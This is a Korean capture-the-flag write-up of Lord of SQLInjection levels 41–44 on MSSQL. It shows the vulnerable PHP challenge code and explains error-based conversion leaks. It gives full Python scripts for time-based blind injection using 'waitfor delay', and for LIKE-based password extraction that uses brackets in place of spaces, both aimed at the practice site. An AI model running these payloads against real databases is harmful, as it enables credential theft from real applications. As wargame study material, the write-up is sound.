LOS 41~44번
41번 nessie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "./config.php";
login_chk();
$db = mssql_connect('nessie');
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db, $query);
if (sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select pw from prob_nessie where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db, $query));
if ($result['pw'] === $_GET['pw']) solve("nessie");
highlight_file(__FILE__);
이번엔 코드를 보면 mssql_connect로 db 연결을 하니 mssql 환경이다.
여러 문자들을 필터링 하고 있고, 에러 문자열을 보여주고 있다.
처음엔 blind sqli로 접근하려고 했는데 몇 번 시도해보다 보니 오류 정보를 상세하게 보여준다.
그래서 입력을 해보다보니 pw에 숫자를 입력했을 때 기존 DB에 있는 값을 숫자로 convert한 다음 비교하려고 하고
이 때 문자열은 convert가 불가능하기 때문에 DB에 저장된 값을 그대로 보여준다.
이렇게 입력하면 admin의 비밀번호를 볼 수 있었다.
42번 revenant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "./config.php";
login_chk();
$db = mssql_connect("revenant");
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db, $query);
if (sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db, $query));
if ($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
이번에는 query로 id=admin인 row의 5번째 값을 가져와야 한다고 한다.
우선 union find를 통해서 개수를 확인해보니
총 5개의 column이 있다.
그리고 오류를 보니 41번을 풀었던 방법처럼 convert할 때의 오류를 그대로 보여주는 것 같다.
이렇게 1,2,3,4번째는 문자열과 비교하고 5번째만 정수를 넣으면 원하는 값을 구할 수 있고, 답은 solve이다.
43번 yeti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "./config.php";
login_chk();
$db = mssql_connect("yeti");
if (preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
if (preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db, $query);
$query = "select pw from prob_yeti where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db, $query));
if ($result['pw'] === $_GET['pw']) solve("yeti");
highlight_file(__FILE__);
이번에는 오류 페이지가 없어졌고, waitfor에 대한 필터링도 없어졌으니 time-based sqli를 해야겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
PHPSESSID="gvkem5mol3d3o78qgjgekq404j"
url="https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php"
i=0
while(1):
print("testing length : "+str(i))
pay="?id=' if (select len(pw) from prob_yeti where id='admin')="+str(i)+" waitfor delay '0:0:5'--"
before=time.time()
res=requests.get(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
after=time.time()
if(after-before >2.0):
print("found the length!! : "+str(i))
length=i
break
i+=1
pw=""
for i in range(1,length+1):
print("Testing for :"+str(i))
for j in range(48,128):
print("testing the character :"+chr(j))
pay="?id=' if (select ascii(substring(pw,"+str(i)+",1)) from prob_yeti where id='admin')="+str(j)+" waitfor delay '0:0:5'--"
before=time.time()
res=requests.get(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
after=time.time()
if(after-before >2):
print("found the word...! : "+chr(j))
pw+=chr(j)
break
print(pw)
이전에 쓰던 코드와 크게 다른 것은 없고, mssql에서는 if문과 waitfor delay를 이용해서 코드를 짤 수 있다.
44번 mummy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "./config.php";
login_chk();
$db = mssql_connect("mummy");
if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";
$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");
highlight_file(__FILE__);
?>
이번에는 구문을 만들 수는 있는데, 띄어쓰기를 할 수 있는 방법이 없다.
그래서 아스키코드 표를 보니 %7F가 DELETE이고 넣어보면 띄어쓰기를 한 것처럼 query가 써지긴 하지만 실제로는 아닌 듯 하다.
어떻게 하지 찾아보니 column 이름을 []나 ""를 통해서 묶어주면 띄어쓰기가 없이도 query가 성립한다고 한다.
구문을 바꿔서 like을 통해서 pw를 구할 수 있게 됐다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php"
header = {'Cookie': 'PHPSESSID=gvkem5mol3d3o78qgjgekq404j'}
session = requests.session()
# Brute Force
password = ''
for i in range(1, 20):
for j in range(48, 122):
payload = '?query=[pw]from[prob_mummy]where[id]=' + "'admin'" + 'and[pw]like' + "'" + password + chr(j) + "%'"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello anonymous" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
공백 우회 방법에 이런 것이 있다는 것을 알아두고 넘어가면 될 것 같다.